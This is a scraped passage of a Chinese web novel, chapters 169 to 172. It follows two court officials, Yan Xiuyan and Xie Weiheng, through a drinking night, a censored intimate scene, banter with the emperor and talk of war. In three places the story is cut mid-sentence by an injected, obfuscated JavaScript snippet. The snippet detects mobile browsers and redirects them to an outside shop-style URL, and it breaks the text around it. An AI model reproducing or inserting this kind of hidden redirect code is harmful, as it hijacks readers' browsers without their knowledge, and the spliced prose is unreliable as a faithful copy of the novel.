最后一拳落下,他仰头饮尽杯中残酒,微微摆了摆手,眉眼间带着几分醉意的慵懒:“不喝了不喝了,再往下喝今日怕是要让人抬着回去了。” 燕修延也半醉了,面颊染着一层浅浅的绯红酒晕,眼神却亮得惊人。 “哈哈哈!大将军你酒量不行!” 年大将军靠在椅背上,无奈摇头笑着辩驳:“老了,我年轻的时候千杯不醉,一次喝你三个都不在话下!” “才不信!” 燕修延眯着眼傻笑:“冯爷爷总跟我说,他年轻时候次次都能把你喝趴下,屡战屡胜!” 年大将军抬手虚点他一下:“你这臭小子,半点长辈情面都不给我留!” 燕修延笑得眉眼弯弯,身子一软直接靠在谢伟恒身上,下巴轻轻垫在他的肩头,歪头耍赖:“嘿嘿,就不留,略略略。” 虞睿祥看着二人亲昵相依的模样,起身整理了一下衣摆,对谢伟恒道:“派人好生护送大将军回去歇息。” “好。”谢伟恒微微颔首应声。 他们在谢家酒楼吃的饭,谢伟恒唤来楼下管事吩咐备好稳妥马车,安排可靠下人护送。 临上马车前,年大将军伸手一把勾住燕修延的脖颈,将他拉到僻静一旁,打算说几句私密叮嘱的悄悄话。 人一旦醉酒,总以为自己语声极低实则音量半点没压下去,字字清晰,周遭的人听得一清二楚。 “你日后一定要好好待小谢大人。” “晓得晓得,一定一定。” “这孩子品性极好,性子安稳安静,温润宽厚,对你更是一心一意、百般迁就。” “对对对,全天下最好的谢伟恒。” “你别光随口点头应付!这么好的人,是要用心疼、用心宠的!若是你不上心旁人看他这般好,动了心思挥锄头挖墙角,到时候你哭都没地方哭去!” “嗯嗯嗯,放心!我最宠他了!谁敢敢来挖我的墙角,我直接拿锄头把他就地埋喽!半点机会不留!” 不远处的苏公公,默默深呼吸数次,硬生生压住了胸腔里翻涌的笑意,用尽毕生涵养才稳住神色,没当众失态笑出声来。 “伟恒,你的笑意瞧着有些恶心。”虞睿祥往旁边挪了一步。 谢伟恒转头,眼底笑意未消,语气温柔又狡黠:“陛下不妨代入一下皇后娘娘,便能全然体会臣此刻的心境了。” 皇后沈黎卿? 虞睿祥脑海中浮现出沈黎卿的模样,下意识代入画面,眉头微蹙一脸不适。 代入不了半分。 一老一少两个醉鬼凑在一处,嘀嘀咕咕絮絮私语,说得热火朝天足足半盏茶的功夫,才依依不舍分开。 年大将军被下人扶着踏上马车,临上车前还不忘掀开帘幕,对着月下三人连连挥手:“夜深露重,诸位早些回去歇息!” 虞睿祥收回目光,看向身侧二人:“时辰不早,你二人打算如何回去?可要朕遣马车相送?” 燕修延扑到谢伟恒肩头,醉眼弯弯,笑意明媚:“不用马车!月色正好,我们顺着长街月下散步回去。” 虞睿祥嘴角微微一抽,满心无奈却也只得嫌弃又纵容地摆摆手:“去吧去吧,路上慢行注意安妥。” 169. 我只要你不要你的命 “今晚的月亮可真圆。” 燕修延微微仰头,目光凝望着天际浑圆的明月,任由谢伟恒稳稳牵着自己迈步前行。 “饼铺摊刚出炉的饼子都比不上这月亮规整周正。” 谢伟恒眼底漾开浅浅温软笑意,掌心稳稳握着燕修延的手:“天色尚且不算太晚,饼铺摊想来还未打烊关门,若是嘴馋我陪你前去买上几份?” “不去啦。” 燕修延抬手虚虚拍了拍自己的肚子,眼底漾起几分憨然笑意:“里头满满当当全是酒水,此刻若是再吞下一块饼怕是直接在腹中泡发了,今晚定然撑得辗转难眠。” 谢伟恒的手掌轻轻覆上燕修延的手背,目光缱绻落在他脸上:“我伸手摸摸,看看究竟撑成了什么模样。” 燕修延转过脑袋看着他笑:“别碰,痒得很。” 在酒楼时,陛下以为他有意灌醉燕修延,回去后温存一番。 可唯有谢伟恒心里清楚,褪去朝堂肃穆外衣,半醉状态下的燕修延在自己面前是怎样的慵懒诱人,举手投足、话语之间满是依赖和亲昵。 “嗯……大将军说要心疼自家媳妇儿。” 燕修延眼神朦胧地望着谢伟恒,嘴里喃喃自语:“我要抱你回去。” 话音落下,他伸手将谢伟恒的胳膊揽到自己肩头,准备弯腰。 谢伟恒收紧手臂,另一只臂膀顺势紧紧环住燕修延的腰身,将他紧紧贴着自己。 他低头对上燕修延迷离的眼眸,语气温柔缱绻:“比起被你抱着回去,我更想就这样与你手牵手慢慢走回家。” “自然都依你。” 燕修延抓起谢伟恒的手掌,修长手指灵巧地穿插进去,紧紧与对方十指相扣。 他轻轻晃了晃彼此紧扣的双手,唇角扬出明媚灿烂的笑容:“好了,就这般咱们牵着手一同往前走。” 谢伟恒温润的目光牢牢锁住身前之人,眼底盛满化不开的深情,低声重复着这句话:“好,牵着手一起走。” 两道相依相伴的身影踏着满地月色,脚步悠悠晃晃朝着谢府方向走去,一路晚风相伴,静谧长街只余下二人细碎轻柔的低语。 回到卧房之内,谢伟恒取来干净柔软的棉帕蘸上微凉清水,细心轻柔地替燕修延细细擦拭脸颊与指尖,动作温柔细致。 “我吩咐下人煮好了醒酒汤,醉酒之后身子疲惫,不宜入浴浸泡。稍后我为你擦拭身上,舒缓酒气。” 燕修延抬起手指轻轻挠谢伟恒的下巴,眼尾微微上挑,眸光带着几分狡黠撩人的意味,含笑打趣:“你替我擦?心里怕是打着别的小算盘呢~谢书令就是一头藏起利爪的大灰狼,我可太知道你了~” 谢伟恒垂眸凝视着眼前眉眼带笑的人,深邃眼眸里笑意层层漾开:“纵使心中存有念想,一切也都要征得燕大人应允同意才行。” “那你可得乖乖安分些。” 燕修延笑意盈盈,指尖轻轻点在谢伟恒的唇瓣:“媳妇儿你乖乖的,相公我会好好疼爱你的~” 谢伟恒唇角勾起一抹浅笑,顺势柔声附和:“好,我全都听夫君的。” 替燕修延擦拭身子时,谢伟恒神情专注认真。 倒是燕修延时不时伸出手轻轻捏一捏他的耳廓,伸手撩起对方束起的长发,将缕缕青丝缠绕在指尖把玩嬉戏。 “咚咚咚——” 谢小厮端来了醒酒汤,在外敲了下门。 谢伟恒取来一旁的外袍轻柔披裹在燕修延身上遮挡身形,伸手轻扶着他将人稳妥引至柔软床沿坐下:“你等我一会。” 将冒着淡淡热气的醒酒汤安稳放置在外间桌案之上,谢伟恒转身重回卧房之际,视线触及屋内景象呼吸一滞。 燕修延将身上外袍丢弃在一旁地面,把自己亲手塞进柜子底下的薄纱裙翻出来,穿在身上。 脚踝处还戴着一根赤红绳链铃铛。 谢伟恒喉结不受控制地微微滚动,心口燥热翻涌,原本沉稳的嗓音悄然染上几分压抑的缱绻情欲:“你收起这些裙子的时候,还信誓旦旦说日后再也不愿拿出来穿戴,怎会忽然翻出穿上了?” “你想看啊,夫勉为其难好好疼一疼你。” 燕修延赤着脚缓步朝着谢伟恒走去,每一步落下脚踝上的铃铛发出清脆细碎的声响,在静谧屋内悠悠回荡,他双手环住谢伟恒的脖颈:“这般模样,你可还满意?” 谢伟恒脑海里理智防线渐渐摇摇欲坠,炙热目光锁住眼前撩人身影,勉强稳住心神,哑着嗓音劝说:“模样极好,先把醒酒汤喝了再……” 燕修延微微仰头主动凑近吻上谢伟恒的唇,退开后舔过他的下唇,眼底笑意狡黠:“暂且搁置一旁,不急。” 再也按捺不住心底翻涌的情意,谢伟恒稳稳将燕修延横抱而起,亲吻间,双双陷入柔软的被褥里。 “燕大人这样,当真是要勾走我的命啊……” 燕修延十指放进谢伟恒的发丝之间,唇角扬起肆意欢快的笑意:“我只要你,不要你的命。” 谢伟恒的__在燕修延的**发力,燕修延在谢伟恒Y间的T晃动 铃铛响彻整个房间 …… (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) 事后,谢伟恒轻柔吻过燕修延微微泛红的眼尾,正要退开:“我去让人送些热水来。” 燕修延拉住谢伟恒的胳膊,语气带着浅浅调侃:“怎么,谢大人这就力竭不行了?” 今晚已经得了意料之外的甜头,谢伟恒念及明日还要早朝,并未过度放纵。 他语气温和沉稳:“明日还要上朝,不可太过贪欢劳累。” 燕修延不以为意地朗声笑起:“今夜彻夜不眠,待到早朝的时候再睡。” 谢伟恒拍拍他的手背出声劝阻:“切莫这般胡闹,待到酒意消散又要嘟囔腰背酸痛。” 燕修延借力翻身利落将谢伟恒稳稳按压在床榻之上,居高临下地看着身下之人:“如今边境战事未定,大将军回京,或许不知道什么时候就要打仗,人生在世及时行乐才是啊,谢书令。” 谢伟恒这才明白了燕修延今夜格外热情的缘由。 “来日方长。” 谢伟恒抬手握住燕修延的手,放到唇边轻吻着他的掌心:“日后燕大人在边关若是心中挂念于我,只管提笔寄来书信。” 燕修延眉梢微微一挑,带着几分打趣的口吻:“然后你提笔写下满纸相思情话寄来边关?” 谢伟恒轻声道:“然后我会将中部大小事务尽数妥善处置妥当,亲自前往边关*你。” 燕修延脸上嬉笑神情微微一顿,是谢伟恒会说的话。 “你总说我破坏气氛,这般说来最煞风景的人分明就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646327|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你。” 他想要抽回手,打算从谢伟恒身上起身退开。 谢伟恒眼疾手快,一只手握住他的手腕不让挣脱,另一只手稳稳按住他的腰将人固定住:“方才燕大人还口口声声说着及时行乐,怎的此刻要抽身离开了?” 燕修延没好气地白了他一眼:“方才谢书令还亲口所言,来日方长。” 谢伟恒笑意愈发浓郁,灼灼目光凝望着眼前之人:“来日方长,从今夜、从此刻正式算起。” 第二天天光破晓,大殿之上文武百官分列两侧,朝堂议事之声此起彼伏,争论不休。 虞睿祥一眼瞧见脑袋微微低垂,双目紧闭沉沉睡了过去燕修延。 一看就是昨夜操劳过度。 他眸光不着痕迹地瞥向谢伟恒,不是说无需特意准假嘛。 谢伟恒表情维持着沉稳严谨的神态,其实注意力一直留意着燕修延的状态,生怕他站立不稳不慎摔倒。 他原本劝说燕修延留在府邸安心歇息,不必勉强赶赴早朝。 燕修延却满不在意直言朝堂之上百官争辩嘈杂,伴着声响站立小憩,反倒睡得更为安稳香甜。 拗不过执拗的人,谢伟恒也只能任由他随性而为。 “退朝——” 苏公公尖细的嗓音响起将酣然沉睡的燕修延惊醒,他茫然地眨了眨双眼,下意识舒展臂膀打了个悠长的哈欠,用力睁了睁惺忪睡眼,慢慢回过神来。 “这一觉睡得倒是踏实舒坦。” 燕修延慢悠悠活动酸胀僵硬的脖颈,转头看向谢伟恒:“你要去中部?” 谢伟恒轻轻颔首应声:“我先送你回去,再去中部。” “不必特意送。” 燕修延摆摆手:“我去面见陛下,询问一番南宫提及的相关事宜。” 谢伟恒稍加思索,稳妥提议道:“随我先前往中部歇息片刻,待我将手头紧急公务处理完毕,再一同觐见陛下商谈要事,也不耽误时辰。” 燕修延觉得这番安排妥当,欣然应允下来。 抵达中部之内,谢伟恒将燕修延引至自己平日里休憩的偏室,屋内摆放着一张铺着柔软锦垫的矮榻,静谧安逸格外适合小憩。 “你先在这里安心补觉休息。” 燕修延毫不客气地侧身躺卧在绵软矮榻之上,慵懒地挥了挥手:“快去处理公务吧,抓紧忙完咱们尽快去见陛下。” 谢伟恒取来柔软的毯子,轻轻俯身盖在燕修延身上时,榻上之人呼吸已然变得均匀绵长,双目紧闭再度沉入安稳梦乡。 他眼底漾开柔和宠溺的笑意,微微弯曲食指轻轻蹭过燕修延的鼻尖,动作小心翼翼,生怕惊扰熟睡之人。 凝望片刻后才轻手轻脚转身走出偏室,回到自己的位置上专心投入繁杂公务。 不知酣睡了多久,燕修延缓缓睁开双眼,慵懒地舒展四肢筋骨——这酥麻感。 昨夜他缠着谢伟恒的场景不受控制地在脑海中清晰浮现。 燕修延脸颊升腾起阵阵燥热,耳根悄悄染上绯红。 啧,酒果然最是误人神志,不是好东西。 他轻手轻脚地走到外间,去瞧瞧谢伟恒会不会偷偷偷懒。 —————————————— 酒:请苍天辨忠奸!你自己喝多赖我身上,昨天要知道今天有锅要背我都不会出来!!! 170. 伟恒的醋坊把你腌入味 谢伟恒的案上永远是整整齐齐的。 一叠叠公文码得方方正正,朱笔、狼毫、端砚、镇纸各归其位,连茶盏的边缘都对着同一个方向。 他就端正地坐在案后,低垂着眼批阅公文,笔尖划过纸面的声音轻而稳,几乎不抬一下头。 燕修延还是能一眼从那高得几乎把人埋进去的公文堆里,精准地捕捉到谢伟恒的侧脸。 他抱着胳膊靠在柱子上,看着看着忍不住在心里咋舌。 中部这么忙呢? 好家伙,这中部的活儿比监察司忙上十倍都不止,对比之下监察司还真成了个清闲衙门。 监察司虽说也查案抓人,但哪有这么堆成山的公文要批? 下次等陛下再对着他叫苦,讨赏的时候,得把谢伟恒这份也给算上。 中书令这活儿是人干的? 谢伟恒不止要批阅公文,时不时就有官员捧着卷宗进来,低声请示拿不准的章程。 他头也不抬,三言两语就把事情捋得明明白白,分派得滴水不漏,连带着后续的流程都交代得清清楚楚,没有半点含糊。 燕修延就这么就这么抱着胳膊,靠在墙上,目光一瞬不瞬地黏在谢伟恒身上,连眼尾都染着笑意。 “燕正使这是看谢大人看得入迷了?” 许彦的声音带着几分促狭,顺着燕修延的视线望过去,笑得一脸暧昧。 燕修延收回目光,冲着他略一点头,语气平淡无波:“许大人。” 许彦压低了声音揶揄:“燕正使如今和我们书令大人,可真是焦不离孟、孟不离焦啊,连我们中部的人都看出来了。” 燕修延挑了挑眉,抱着胳膊把许彦上下打量了一遍,语气带着点似笑非笑的冷:“谁跟你是‘我们’?” 许彦一愣没反应过来:“啊?” “许彦,很闲?” 刚才还在认真批阅公文的谢伟恒不知何时已经放下了笔,站在他面前,神情淡淡的却带着不容错辨的压迫感。 “啊?啊!不闲!我突然想起还有个急事要处理!” 许彦瞬间脚底抹油,一溜烟跑了,跑出去几步远,又忍不住回头看。 看见谢伟恒正站在燕修延面前,两人挨得极近,不知道在说些什么,燕修延的嘴角还带着点笑意。 许彦一拍脑袋,恍然大悟:谢伟恒看似在埋头批公文,实则注意力全在燕修延身上呢!——谢书令这是在孔雀开屏!对着心上人刷存在感呢! 噫~没想到平日里不苟言笑的谢伟恒竟是这样的谢书令! 许彦颠儿颠儿地跑去找同僚分享自己的重大发现,脸上写满了“我懂了”的八卦。 燕修延催促谢伟恒别磨叽赶紧处理完去见陛下。 谢伟恒放下笔起身给燕修延倒了杯温茶,递到他手里,语气温和得近乎纵容:“且再等我一会,快好了。” 燕修延接过茶抿了一口,索性拉了张椅子过来坐在他案边,双手托腮,眼睛一眨不眨地看着他:“行,我来当监工,看你是不是在偷懒。” “看见没?燕大人这眼神含情脉脉的,都快粘在我们书令大人身上了!” 门口的阴影里,许彦和几个中部的小吏一起探出脑袋。 许彦顿了顿又小声添了句:“方才我就说了一句‘我们书令大人’,他就不高兴了,不让我这么说!分明是爱惨了书令大人!” “哦~原来他是这样的燕正使啊~有占有欲啊~” 燕修延的耳朵尖,这些话一字不落地飘进他耳朵里。 他嘴角几不可查地抽了抽,转头看向谢伟恒:“我说谢书令,你手底下的人嘴巴倒是挺长啊。” “确实挺长的,我才知道原来燕大人也会在意别人怎么称呼我。” 谢伟恒放下笔,伸手握住燕修延搭在桌沿的手,指尖轻轻摩挲着他的指节。 “我……” “哇哦——” 燕修延刚要反驳,门外忽然传来一阵压抑不住的低呼声,带着几分看热闹的激动。 谢伟恒抬眼目光淡淡扫过去,吐出两个字:“很闲?” 门外的脑袋瞬间缩了回去,几个人作鸟兽散,跑得比兔子还快。 谢伟恒站起身整理了一下衣襟,笑着牵起燕修延的手:“走吧,去见陛下。” 燕修延指了指谢伟恒案上那堆几乎没动的公文,挑眉:“干完了?” 谢伟恒扫了一眼不远处几个佯装忙碌、实则还在偷偷往这边看的人,语气平静:“没有,剩下的按职责分派下去便可,不必事事亲为。” 两人手牵着手并肩走出了中部,将身后一众闲人的哀嚎声抛在脑后。 燕修延回头瞥了一眼,许彦正捶胸顿足、呼天抢地。 不知道的还以为他受了天大的委屈。 可他刚才分明听见谢伟恒给许彦分派的,是所有人里最少的活儿。 燕修延忽然想起一个问题,转头问:“中部看着闲人不少,怎么你一天天还忙成这个样子?” 谢伟恒垂着眼,指尖轻轻捏了捏他的手,语气低了些:“我上任时间不算长,总不好一下子过多指派中部的老人,只能先自己扛着。” 燕修延撸起袖子,一副摩拳擦掌的样子:“这还不简单?我替你收拾他们!监察司的名声你是知道的,上打八十老汉,下欺八月幼儿,保管他们一个个服服帖帖的!” 谢伟恒温柔地替燕修延把袖子放下来,指尖轻轻按住他的手腕,语气带着几分纵容的:“这个恶名,还是别让监察司背了。陛下刚施行新政,很多事情的处理方式和从前不同,事务我先梳理一遍再分派下去,免得他们互相推诿,耽误了正事。” 中部不少官员年岁比他大,都是老资历,原中书令在时,有些人就只是每日到中部点个到,半点事也不做。 谢伟恒现在正慢慢扭转这般风气。 实在不堪用的,再禀明陛下,让陛下定夺是否换人。 燕修延懂他的意思。有些官员虽不干事却处事圆滑,和各部官员都有交情,真要遇上需要协调、转圜的事还离不了他们。 人可以游手好闲、摸鱼混日子,但不能真的毫无用处,拿着俸禄却半点作用不起。 到了御书房,里面议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646328|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的官员正好出来。 见了他们,都笑着点头示意,眼神里带着几分了然的暧昧。 进了御书房,燕修延和谢伟恒规规矩矩行礼:“参见陛下,陛下万岁——” “行了别整这虚的,赶紧坐吧。” 虞睿祥抬了抬下巴,指了指一旁的椅子,眼神里带着几分戏谑:“早朝睡够了?要不要给你加张软垫,让你再躺会儿?” 燕修延一眼就看出虞睿祥眼底的戏谑,干脆一转身直接坐到谢伟恒的腿上,伸手环住他的脖子,笑得一脸无辜:“陛下说啥?风太大,我听不清。” 虞睿祥:…… 真是…… 他看着谢伟恒搂着怀里的人,一脸安然若素,半点也不觉得不妥,忍不住叹了口气。 “朕真是怀念以前那个张口就说‘成何体统’的伟恒了。” 燕修延抓起谢伟恒的手,捏着他的指尖玩,语气带着几分得瑟:“要说怀念那也该是我怀念啊。陛下不是一向喜欢泼辣的性子吗?怎么,看不惯了?” …… 虞睿祥沉默了片刻,声音有些干:“修延你变了。伟恒的醋坊终究是把你腌入味儿了。” 燕修延表情一顿,扪心自问:他有吗? 不,他木有。 他还是那个冷酷无情、铁面无私的监察司正使。 他清了清嗓子,一本正经地开口:“陛下派去疏勒国旧址找矿藏的人,该回来了吧?” 虞睿祥再次陷入沉默,这次沉默的时间更长。 燕修延一看就知道,人回来了而且八成是找到矿了。 他也不急,就安安静静地坐在谢伟恒腿上看着帝王,等着他开口。 虞睿祥无奈,终于松了口:“一同前往的老矿工说,应该是有的,只是还没来得及仔细勘探。” 燕修延食指和拇指并在一起轻轻搓了搓,冲虞睿祥扬了扬眉毛,笑得像只讨赏的狐狸:“陛下,你懂得~” 虞睿祥面无表情:“朕不懂。” 燕修延长长地叹了口气,一副“陛下你怎么这么不上道”的样子。 虞睿祥不为所动,心里打着算盘:他早已经传召了年大将军进宫议事,估摸着这会儿也快到了,等年大将军一来燕修延总该收敛点。 燕修延不给他打太极的机会,语气带着几分委屈:“陛下,我今儿去中部了,谢大人他真的是太辛苦了!” 虞睿祥握着笔的手一顿,笔尖在纸上洇出一个墨点,索性把笔一搁,抬眼看向他:“伟恒辛苦,你今天才发现?” “以前就知道啊。” 燕修延理直气壮:“今天才发现他比我想象的还要忙十倍!连喝口水的功夫都没有!” 虞睿祥似笑非笑地看着他:“伟恒确实忙,白天忙,晚上也忙,都没得休息,这事儿你功劳不小。” 燕修延佯装没听懂虞睿祥话里的意思,笑得一脸纯良:“是啊是啊,都没得休息,陛下是不是该赏一赏他?” 虞睿祥挑了挑眉,语气带着几分调侃:“然后让伟恒再说你也很劳累,朕干脆一并赏了你们夫夫二人,是吧?” 171. 当真是匪夷所思 燕修延眼眸一亮,利落起身,指尖顺势牵住身侧谢伟恒的手腕,骨节分明的手轻轻扣着迫不及待就要躬身行礼。 唇角高高扬起,语气带着几分雀跃的讨喜:“那就多谢陛下成全,我谢——” “谢你个头!” 虞睿祥没等他说完,满脸不耐地抬手揉乱一张空白御纸。 雪白的纸页簌簌落地,轻飘飘落在燕修延脚边,带着帝王直白的嫌弃。 他往后倚在龙椅背上,抬手揉了揉发胀的太阳穴:“坐回去,少在这儿给我顺杆爬。” “哦。” 燕修延像被泄了气的皮球,心不甘情不愿的坐回去。 谢伟恒看得心软,修长的手指悄然收紧,轻轻捏了捏燕修延的掌心,温柔安抚着他的小情绪。 随即抬眸望向御座上的帝王:“陛下,臣建议待燕大人率军击溃羯人主力之后,可即刻派兵驻守发现的矿藏据点,派专职工匠就地勘矿核验储量。若矿藏属实,不必劳师动众全数运回京城,可直接借用羯人遗留的冶炼厂房与器具就地冶炼提纯。待矿石成型、分类完毕再分批押送回京,既能节省沿途人力物力损耗,亦可缩短备战周期。” 燕修延眼睛一亮,立马附和,语气满是由衷的赞同:“谢书令这个主意绝佳,滴水不漏!” 顿了顿他主动表忠心补充:“陛下尽管放心,我会严加管束手底下人,绝不纵容他们私拿分毫、徇私舞弊。” 虞睿祥看着他一本正经的模样,心中暗自腹诽:你是不乱拿,但你会奉旨拿……嘴上说得坦荡,心里的小算盘打得比谁都响。 “行了行了,朕不跟你绕弯子。” 虞睿祥实在懒得跟这狡黠小子周旋,也放弃拖延时间了:“矿藏若是属实,战后所需物资、损耗补给,你按需取用行了吧!” “陛下金口玉言,那必须得行啊!” 燕修延得了天大的便宜,脸上却挂着恰到好处的乖巧笑意,一副安分守己的模样,看得虞睿祥满心糟心。 “没别的正事就赶紧走,回家睡你的大觉去。” 虞睿祥摆了摆手,只想把这个总能气到自己的人赶离眼前,顿了顿,又想起些什么,语气陡然含糊了几分:“你们节制点,免得修延一身绝佳功夫尽数生疏荒废。” “功夫生疏?” 那不能够! 燕修延利落撸起衣袖:“陛下跟我比试比试,就知道我的功夫生疏没。” 谢伟恒书房中珍藏的武功秘籍、兵家兵法、排兵布阵之书,他都囫囵看过了一遍。 挑出一些来,着重的看。 加上时不时与谢伟恒对练,他现在觉得自己强的可怕。 “古人云,三日不见,就得刮掉眉毛看!” 燕修延挺胸抬头,底气十足:“陛下可别小瞧我,我绝不会沉溺情爱荒废习武本心!” 虞睿祥看着他理直气壮、还乱用古语的模样,嘴角狠狠一抽:“那叫士别三日,当刮目相看。你日日跟伟恒朝夕相伴,半点温文书卷气没学到,油嘴滑舌、得寸进尺的毛病倒是越发精湛。” 醋意也开始沾上了。 燕修延心虚地移开视线,脚尖悄悄在地面上轻轻画圈,装傻充愣:“陛下也别全盘否定我,那有些东西就是我想学,它也不进脑子里啊。” 这番无赖的模样,让虞睿祥又好气又好笑。天底下歪理全被燕修延占尽,那他还说什么? 这时苏公公躬身入内,垂首恭敬禀报:“陛下,年大将军求见。” “宣。” 虞睿祥敛去眼底笑意,神色瞬间端正,恢复了帝王的沉稳威严。 年大将军行过标准庄重的君臣大礼后,看见一旁衣袖撸至手肘燕修延。 不由得微微一愣,语气带着几分诧异问道:“这是怎么了?” 燕修延抬下巴朝着御座上的虞睿祥俏皮努嘴:“正打算找陛下切磋几招,印证一下武学可有精进。” 年大将军来了兴致,眉眼舒展笑道:“说来你我二人已是许久未曾交手比试,今日恰逢其会,左右无事不如你我切磋一番?” 燕修延当然没意见:“有何不可!” 虞睿祥目光落向谢伟恒,冲着燕修延微微抬了下下巴:他今日身子能动手比试? 谢伟恒不慌不忙的抬手戳了下燕修延后腰。 力道不重却精准戳中要害。 原本斗志昂扬、恨不得立刻下场比试的燕修延像被戳破的气球蔫了下去。 “改日再说吧,今日我有些倦了。” 年大将军满脸茫然,一头雾水:“???” 细看,确实能在燕修延的眼下看见淡淡的乌青。 再侧目看向端坐一侧的谢伟恒,年大将军心中了然,眼底掠过一丝艳羡的笑意。 少年夫妻,情热如许,年轻气盛,当真令人感慨。 “好好好,不急不急。今日倦了便歇息,明日、后日皆可,随时奉陪。” 燕修延不着痕迹地抬手轻轻揉了揉后腰:“我与谢书令尚有公务待处理,大将军与陛下慢慢议事,我二人先行告退。” 说完,两人并肩躬身行礼。 虞睿祥巴不得燕修延走得越快越好,免得他又绞尽脑汁找借口讨要赏赐、觊觎自己的私库。 谢伟恒的手虚虚护在燕修延后腰,动作轻柔隐晦,带着无人察觉的呵护与纵容。 两人步伐从容并肩远去,身影渐渐消失在宫廊尽头。 年大将军望着二人离去的背影,眉宇间掠过一丝淡淡的疑惑,越看越觉得怪异。 他怎么觉得,小修延走路的姿势不似往日那般大步流星、肆意张扬? 虞睿祥将他眼底的疑惑尽收眼底,端起手边清茶浅啜一口,唇角勾起一抹意味深长的淡笑:“伟恒向来会疼人。” 没头没脑的一句,信息量极大。 让年大将军浑身一震猛地坐直身躯。 “他、小修延与小谢大人,他、他们两……小谢大人竟然是主动的那一方?!” 虞睿祥淡淡颔首,默认了他的猜测。 年大将军神色错愕,久久无法回神,脸上写满了难以置信。 沉默良久,他才勉强稳住心绪,低声喃喃自我宽慰:“想来是小修延体恤小谢大人常年伏案、身子单薄,处处谦让包容,心中不忍折腾对方罢了。” 虞睿祥耸肩,大将军说是心中不忍那便是吧。 他张口准备说正事。 年大将军又自行推翻了刚才的说辞:“不对……小修延素来得了便宜还卖乖,向来是他欺负旁人的性子,怎会处处退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646329|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让?莫非……” “莫非……” 年大将军抬眼目光灼灼地望向虞睿祥,急切想要求证心中猜测。 虞睿祥故作不解,眼底却藏着戏谑,故意卖了个关子,慢悠悠反问:“莫非什么?” 年大将军盯着帝王从容淡然的神色彻底通透,倒吸一口凉气满脸震撼:“这小谢大人竟能压小修延一头?这下全都说得通了……” 昨日吃饭时,他便察觉到异样。谢伟恒对燕修延的照顾可以用无微不至来形容。 燕修延无需开口眼皮一掀,偏爱之物总会稳稳出现在碗中。 “当真匪夷所思……” 燕修延的身手如何,年大将军再清楚不过。 几年未见只会更加精进。 “既然小谢大人身手不俗,陛下何不命他二人一同奔赴边关征战?强强联手,定能大破羯人啊!” 知道谢伟恒的身手后,虞睿祥也曾有过这样得念头。 他缓缓放下茶盏,神色平和道:“伟恒早前与朕说过,他愿安心守好修延的大后方。” 年大将军闻言,也说不出什么来。 边关战事凶险,朝堂粮草、银钱、军械、补给诸事繁杂,层层官吏经手,难免滋生盘剥克扣、中饱私囊之事。 谢伟恒信不过旁人经手,故而甘愿固守京城,统筹后勤诸事,为燕修延的前路扫平一切隐患,这份心意与格局,着实难得。 年大将军捋着颌下胡子笑道:“那臣离京之前,定要与小修延好好比试一场。” “记得叫上朕旁观观战。”虞睿祥笑着接话。 “理应如此!” 年大将军笑意更深,打趣道:“若是小修延侥幸取胜必定又要缠着陛下讨要彩头赏赐,陛下可要提前做好准备。” 虞睿祥脸上的笑意一顿,眼底掠过一丝无奈,忽然就半点不想观战了。 玩笑话落,殿内氛围瞬间肃穆下来。 年大将军收敛嬉色,上前半步沉声禀报道:“陛下,边关探子加急来报,羯人近日举国异动大肆征召青壮年勇士、搜罗优质战马,囤积军备粮草,只怕今年入冬前后便会举兵侵扰我大虞边境。” 虞睿祥神色淡然,眼底却藏着沉沉城府,缓缓点头。 他早有预料。 今年羯国境内春夏雨水充沛,草原牧草长势繁茂,牲畜膘肥体壮,正是羯人骑兵战力最盛之时,他们野心膨胀、伺机侵扰,实属常态。 这些年来,羯人恃强凌弱,仗着骑兵机动性强,屡屡滋扰大虞边境,烧杀抢掠、无恶不作,其周边一众弱小的小国也被欺负了个遍。 甚至有的像疏勒国一样,国土覆灭、王室流离。 “不论其最终意图是小范围滋扰,还是大举来犯,边关守卫绝不可有半分松懈!羯人最善偷袭,心性狡诈、打法刁钻。” 年大将军语气铿锵,眼神坚定:“陛下放心,定会严防死守、率军迎敌,绝不叫蛮人踏我山河、占去便宜!” 他们的骑兵是现成的,如今又得楼兰送来的优良战马,战力倍增,定会成为一柄藏于暗处、锋利灵动的短匕,剜下羯人的肉来! 虞睿祥唇角凝着一抹沉稳的淡笑:“粮草辎重、军械、防寒物资,早已命人提前筹备齐全,不怕他不来,就怕他不敢来。” 172. 修延定然也能想到 燕修延回去踏踏实实饱餐一顿,又在软榻上酣然熟睡,一觉沉眠不知时辰。 再度睁开眼眸时,窗外天光已然沉落,暮色漫遍整座院落。 “夜里怕是要辗转难眠了。” 